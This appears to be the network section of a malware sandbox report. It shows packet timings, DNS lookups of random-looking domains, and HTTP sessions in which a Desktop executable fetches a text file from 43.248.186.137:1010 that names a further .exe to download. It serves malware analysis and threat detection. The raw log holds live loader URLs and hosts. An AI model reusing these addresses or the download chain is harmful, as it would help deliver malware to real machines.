Oct 18, 2024 23:46:36.368098021 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368125916 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368838072 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368876934 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368885994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368895054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368925095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368930101 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368935108 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.369121075 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.382618904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382666111 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382677078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382688046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382699013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382710934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382724047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382730961 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.382766962 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.382800102 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382812023 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382821083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.382849932 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.382860899 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.383161068 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.383207083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.383218050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.383289099 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.383301020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.383328915 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.384093046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384110928 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384124041 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384134054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384140015 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.384145975 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384155989 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.384192944 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.384460926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384473085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384490967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384500980 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384512901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384517908 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.384524107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.384542942 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.384557009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.414769888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.414868116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.414880037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.414891958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.414901972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.414913893 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.414925098 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.414964914 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.415148020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415158987 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415169001 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415179014 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415195942 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415196896 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.415206909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415214062 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.415222883 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415235043 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415246010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415256023 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.415270090 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.415281057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415292025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415302038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415313959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415342093 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.415853977 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.415920019 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.416060925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.416071892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.416081905 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.416098118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.416107893 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.416114092 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.416124105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.416136980 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.416141987 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.416167974 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.416959047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.417002916 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.417130947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.417143106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.417182922 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.422379017 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422390938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422400951 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422430992 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.422482014 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422492981 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422503948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422530890 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.422554970 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.422893047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422903061 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422913074 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422935963 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422941923 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.422954082 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422966003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.422974110 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.422992945 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.423177004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423188925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423198938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423224926 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.423301935 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423376083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423393011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423403025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423425913 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.423449039 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.423629999 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423640013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423713923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423723936 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423724890 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.423736095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423746109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.423759937 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.423775911 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.424069881 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.424098969 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.424108982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.424115896 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.424143076 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.424149990 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.424160957 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.424171925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.424211025 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.432586908 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.432715893 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.432790995 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.432858944 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.432912111 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.432912111 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.432934046 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.432954073 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.435985088 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:36.436419010 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:36.436439037 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:36.436985970 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:36.436996937 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:36.473095894 CEST	49830	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.473143101 CEST	443	49830	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.473295927 CEST	49830	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.473609924 CEST	49830	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.473623991 CEST	443	49830	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.487332106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487350941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487361908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487415075 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.487459898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487473011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487483025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487512112 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.487524986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.487582922 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487623930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487634897 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487663031 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.487698078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487835884 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487885952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487886906 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.487896919 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.487987995 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.488056898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.488105059 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.488146067 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.488156080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.488166094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.488176107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.488192081 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.488218069 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.488346100 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.488516092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.488570929 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.502293110 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502302885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502311945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502356052 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.502568960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502579927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502589941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502599001 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502610922 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502619982 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.502623081 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502634048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502635002 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.502659082 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.502672911 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.502800941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502830029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.502871037 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503036022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503046989 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503055096 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503093004 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503117085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503128052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503184080 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503546000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503556013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503566027 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503597975 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503606081 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503616095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503623009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503652096 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503706932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503719091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503771067 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503789902 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503851891 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503882885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503891945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.503931046 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.503963947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534423113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534434080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534444094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534476995 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.534480095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534492970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534507990 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.534514904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534524918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534534931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534537077 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.534571886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.534745932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534756899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534765959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.534812927 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.534993887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535005093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535013914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535044909 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.535203934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535214901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535223007 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535248041 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.535268068 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.535341024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535387039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.535398006 CEST	80	49795	104.192.108.20	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 18, 2024 23:46:11.378379107 CEST	192.168.2.5	1.1.1.1	0xbe70	Standard query (0)	qnmdsjc.mm2299.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:11.767322063 CEST	192.168.2.5	1.1.1.1	0x9ea2	Standard query (0)	pgfg.hmnad3463fdefr.cn	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:11.828239918 CEST	192.168.2.5	1.1.1.1	0xe7bb	Standard query (0)	kfbb.dewfrevrwde.xyz	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:30.236434937 CEST	192.168.2.5	1.1.1.1	0x199d	Standard query (0)	dl.360safe.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:30.236609936 CEST	192.168.2.5	1.1.1.1	0xea7	Standard query (0)	dl.360safe.com	65	IN (0x0001)	false
Oct 18, 2024 23:46:34.094731092 CEST	192.168.2.5	1.1.1.1	0x36d1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:34.094731092 CEST	192.168.2.5	1.1.1.1	0x302e	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 18, 2024 23:46:11.761531115 CEST	1.1.1.1	192.168.2.5	0xbe70	No error (0)	qnmdsjc.mm2299.com		61.147.93.109	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:12.311583042 CEST	1.1.1.1	192.168.2.5	0xe7bb	No error (0)	kfbb.dewfrevrwde.xyz		61.147.93.70	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:12.311759949 CEST	1.1.1.1	192.168.2.5	0x9ea2	No error (0)	pgfg.hmnad3463fdefr.cn		61.147.93.189	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:30.680896997 CEST	1.1.1.1	192.168.2.5	0x199d	No error (0)	dl.360safe.com	dl.360safe.com.qh-cdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 23:46:30.680896997 CEST	1.1.1.1	192.168.2.5	0x199d	No error (0)	dl.360safe.com.qh-cdn.com	dl.360safe.com.dl.360qhcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 23:46:30.680896997 CEST	1.1.1.1	192.168.2.5	0x199d	No error (0)	dl.360safe.com.dl.360qhcdn.com		104.192.108.20	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:30.680896997 CEST	1.1.1.1	192.168.2.5	0x199d	No error (0)	dl.360safe.com.dl.360qhcdn.com		104.192.108.21	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:30.680896997 CEST	1.1.1.1	192.168.2.5	0x199d	No error (0)	dl.360safe.com.dl.360qhcdn.com		104.192.108.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:34.101658106 CEST	1.1.1.1	192.168.2.5	0x36d1	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:46:34.101862907 CEST	1.1.1.1	192.168.2.5	0x302e	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	43.248.186.137	1010	3856	C:\Users\user\Desktop\ [ ].exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 23:46:10.304759979 CEST	325	OUT	GET /JNGX/JNLCQ170GX.txt?tl7THJxz HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://43.248.186.137:1010/JNGX/JNLCQ170GX.txt?tl7THJxz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 43.248.186.137:1010
Oct 18, 2024 23:46:11.366740942 CEST	328	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Wed, 09 Oct 2024 02:21:05 GMT Accept-Ranges: bytes ETag: "26bac2e4f119db1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Fri, 18 Oct 2024 21:47:41 GMT Content-Length: 81 Data Raw: 36 39 38 38 35 43 34 34 34 41 39 35 35 30 30 32 38 36 45 43 35 46 45 30 35 45 35 36 34 39 39 30 7c 68 74 74 70 3a 2f 2f 34 33 2e 32 34 38 2e 31 38 36 2e 31 33 37 3a 31 30 31 30 2f 4a 4e 47 58 2f bd ad c4 cf b8 b4 b9 c5 5b d4 c6 5d 2e 65 78 65 Data Ascii: 69885C444A95500286EC5FE05E564990\|http://43.248.186.137:1010/JNGX/[].exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	61.147.93.109	9889	3856	C:\Users\user\Desktop\ [ ].exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 23:46:11.900224924 CEST	305	OUT	GET /shield.html?7460389 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://61.147.93.109:9889/shield.html?7460389 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 61.147.93.109:9889
Oct 18, 2024 23:46:12.895239115 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Fri, 11 Oct 2024 08:21:04 GMT Accept-Ranges: bytes ETag: "aaf2be83b61bdb1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Fri, 18 Oct 2024 21:46:16 GMT Content-Length: 1434 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 